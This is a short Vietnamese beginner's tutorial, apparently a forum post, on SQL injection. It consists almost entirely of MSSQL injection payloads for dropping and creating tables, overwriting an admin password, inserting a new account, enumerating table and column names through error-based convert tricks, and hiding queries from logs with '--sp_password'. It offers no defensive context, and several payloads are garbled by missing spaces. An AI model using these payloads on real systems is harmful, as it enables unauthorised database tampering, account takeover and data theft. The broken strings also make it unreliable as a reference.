SQL injection lab 5 [Filter+tổng kết] - for newbie

1 Số truy vấn khác
-Tạo 1 table_name:


;drop table kingnuscreate table thanggiangho (id int identity,kingnusvarchar(99999)) insert into kingnusselect table_name from information_schema.tables--sp_password


-Thay đổi pass admin: lấy vd trên nếu như username :kingnus/pass:ceh


;UPDATE table1 SET password = 'ceh' WHERE username='kingnus'--


-Chèn 1 record mới vào table


;INSERT INTO 'table1' ('ID', 'username', 'password', 'details') VALUES (99,'kingnus','ceh','Online')--


-Tìm tất cả các table có liên quan như: admin,user,member,account,login...


and 1 = convert(int,(select top 1 table_name from information_schema.tables where table_name like '%admin%' or table_name like '%Member%' or table_name like '%User%' or table_name like '%account%' or table_name like '%login%'))--sp_password


and 1 = convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('') and (table_name like '%25admin%25' or table_name like '%25Member%25' or table_name like '%25User%25' or table_name like '%25account%25' or table_name like '%25login%25')))--sp_password


-Lấy tất cả các table_name:


; begin declare @temp varchar(8000) set @temp=':' select @temp=@temp%2btable_name%2b'/' from information_schema.tables select @temp as id into kingnusend--


or 1=(select id from kingnus)--


; drop table kingnus--


-Lấy tất cả các column_name từ 1 table_name: vd table_name : tbadmin


; begin declare @temp varchar(8000) set @temp=':' select @temp=@temp%2bcolumn_name%2b'/' from information_schema.columns where table_name='tbadmin' select @temp as id into kingnus end--


or 1=(select id from kingnus)--